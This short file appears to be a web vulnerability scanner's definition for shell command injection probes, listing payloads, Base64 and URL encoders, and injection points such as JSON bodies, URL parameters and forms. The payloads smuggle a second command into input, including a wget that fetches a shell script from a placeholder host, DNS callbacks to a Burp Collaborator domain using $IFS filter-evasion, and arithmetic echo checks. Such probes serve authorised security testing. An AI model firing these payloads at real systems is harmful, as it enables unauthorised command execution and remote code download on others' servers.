payload: - ';wget http://some_host/sh311.sh' - '|getent+hosts+somehost.burpcollaborator.net.&' - ';getent$IFS$9hosts$IFS$9somehost.burpcollaborator.net;echo$IFS$9$((3482*7301));' - '| set /a 3482*7301' encoder: - Base64Flat - URL placeholder: - JSONRequest - URLParam - HTMLForm - HTMLMultipartForm type: Shell